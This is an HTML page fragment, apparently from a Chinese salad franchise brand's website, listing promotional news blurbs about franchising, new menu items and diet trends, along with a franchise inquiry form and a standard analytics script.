                                    <img src='../images/news/1.png' alt="那么多的轻食沙拉加盟品牌，无谷轻食是谁？"

                                    width="140" height="100">

                                    <p>

                                        <a href='../news/1.html' title="那么多的轻食沙拉加盟品牌，无谷轻食是谁？">

                                            <strong>那么多的轻食沙拉加盟品牌，无谷轻食是谁？</strong>

                                        </a>

                                        <br>

                                        世间好词千千万，如果你是我的老铁，你会用哪个词来形容我呢？士别三日，如今的无谷轻食已不是以前那个初生牛犊，经过对轻食市场、产品、品质、服务的一番摸索，我们成长...

                                        <a class="inm" href='../news/1.html' style="right:-20px">></a>

                                    </p>

                                </dt>

                                <dd class="" style="height: 212px">

                                    <p>

                                        <a href='../news/2.html'><strong>轻食加盟怎么做？轻食前景怎么样？</strong></a>

                                        <br>

                                        有人说 疫情使天空变暗了

                                        然 天空暗透了才能看见 星辰

                                        素闻各位喜爱星光 更爱高景

                                        所以 小谷想带你观星 瞰城

                                        荷月末 更远处的风景被尽收心底

                                        我们更上一层满足欲穷千里的渴望

                                        是的 无谷轻食从1105迁至3205

                                        勇敢与果断的决定

                                        需要高成本运营所支撑

                                        求贤与竭诚的初心

                                        需要不畏浮云的实力配合

                                        所以加盟商之家从小而精转化为广而全

                                        小谷拥有这样的资本

                                        得益于加盟商与粒儿的支持...

                                        <a href='../news/2.html' title="轻食加盟怎么做？轻食前景怎么样？" class="inm">></a>

                                    </p>

                                </dd>

                                <dd class="" style="height: 212px">

                                    <p>

                                        <a href='../news/3.html'><strong>无谷轻食上新品啦！</strong></a>

                                        <br>

                                        疫情期间，无谷轻食搞了很多“动作” 除了一个月新开的11家门店，还有这次的大上新！！不停地研发，不停地上新，被疫情耽搁的“吃货债” 借着这篇推文还给大家啦！~食材：鸡肉、红腰豆、玉米、圣女果、鸡蛋、西兰花、红薯、甜橙



                                        产自峨眉山的优质藤椒搭配精选谷饲鸡肉，这款沙拉吃了一口就要吃无数口！爱微辣也爱运动的你一定不能错过的一款噢！...

                                        <a href='../news/3.html' title="无谷轻食上新品啦！" class="inm">></a>

                                    </p>

                                </dd>

                            </dl>

                        </div>

                        <!----公司---->

                        <div style="height: 355px;">

                            <dl>

                                <!--推荐-->

                                <dt>

                                    <img src='../images/news/22.png' alt="明星都开始注重健康了，你还在等什么"

                                    width="140" height="100">

                                    <p>

                                        <a href='../news/4.html' title="明星都开始注重健康了，你还在等什么">

                                            <strong>明星都开始注重健康了，你还在等什么</strong>

                                        </a>

                                        <br>

                                        最近看了现在最火的节目《乘风破浪的姐姐》看完后内心只有一个想法： 这些姐姐

                                        是逆生长的吧？？！随便一位，都是18岁少女般的存在↓

                                        冻龄女神 伊能静...

                                        <a class="inm" href='../news/4.html' style="right:-20px">></a>

                                    </p>

                                </dt>

                                <dd class="">

                                    <p>

                                        <a href='../news/5.html'>

                                            <strong>别考虑摆摊了，我这里有一份日入过万的工作</strong>

                                        </a>

                                        <br>

                                        自从摆摊合法后

                                        不少人蠢蠢欲动

                                        开始考虑甚至已经走上了摆摊这条路

                                        但是有一说一

                                        地摊经济真的能赚钱吗 ...

                                        <a href='../news/5.html' title="别考虑摆摊了，我这里有一份日入过万的工作邀请！" class="inm">></a>

                                    </p>

                                </dd>

                                <dd class="">

                                    <p>

                                        <a href='../news/6.html'>

                                            <strong>Warm salad | 这个冬天，用暖沙拉拥抱你！</strong>

                                        </a>

                                        <br>

                                        明媚美好的2021，让大家翘首以盼，哪怕寒风里还透着凉意，阳光还没那么温暖，但总归增添了许多靓丽...

                                        <a href='../news/6.html' title="Warm salad | 这个冬天，用暖沙拉拥抱你！" class="inm">></a>

                                    </p>

                                </dd>

                                <dd class="">

                                    <p>

                                        <a href='../news/7.html'><strong>揭秘|不吃主食就能瘦？注意！别掉进这些...</strong></a>

                                        <br>

                                        冬天立了一个flag

                                        『现在不减肥，夏天徒伤悲』

                                        夏天来了，偷偷改了

                                        『现在不减肥，明年夏天徒...

                                        <a href='../news/7.html' title="揭秘|不吃主食就能瘦？注意！别掉进这些“轻食陷阱”中" class="inm">></a>

                                    </p>

                                </dd>

                                <dd class="">

                                    <p>

                                        <a href='../news/8.html'><strong>“人间AI”帕梅拉，人称“魔鬼训练师”...</strong></a>

                                        <br>

                                        之前火爆ins、油管等各大网站的“帕梅拉”减肥大法你有了解过吗？

                                        据说“老手们”都闻风丧胆，就...

                                        <a href='../news/8.html' title="“人间AI”帕梅拉，人称“魔鬼训练师”，跟做15分钟真能消耗120卡？" class="inm">></a>

                                    </p>

                                </dd>

                                <!--最新-->

                            </dl>

                        </div>

                    </div>

                </div>

            </div>

        </div>

    </div>

    <div class="w1200 fix">

        <div class="w480">

            <div class="contact1">

                <div class="contact-detail1">

                    <div class="content1">

                        <div class="block">

                            <form id="Form"action="http://www.wugusala.com//plus/diy.php" enctype="multipart/form-data" method="post">
                                <input type="hidden" name="action" value="post" />
                                <input type="hidden" name="diyid" value="1" />
                                <input type="hidden" name="do" value="2" />
                                <input type="hidden" name="dede_fields" value="name,text;phone,text;city,text;price,text" />
                                <input type="hidden" name="dede_fieldshash" value="bdc550f17645f39e54dd06468adb4ca7" />

                                <div class="title1">

                                    <span class="span011">招商加盟</span> <span class="span021">/</span> MERCHANTS JOIN

                                </div>

                                <input name='name' type="text" value='' placeholder="请输入您的姓名：">

                                <input name='phone' type="number" value='' placeholder="请输入您的电话号码：">

                                <input name='city' type="city" value='' placeholder="意向加盟区域：">

                                <button type="submit" id="fSubmit">提交</button>

                            </form>

                        </div>

                    </div>

                </div>

            </div>

        </div>

    </div>

</div>



<div id="footer" class="main foot"></div>



<div id="toTop" class="main"></div>
<div style="display: none;">
<script type="text/javascript" src="https://v1.cnzz.com/z_stat.php?id=1280001771&web_id=1280001771"></script>    
</div>


<script type="text/javascript" src="../js/index.js"></script>







</body>



</html>

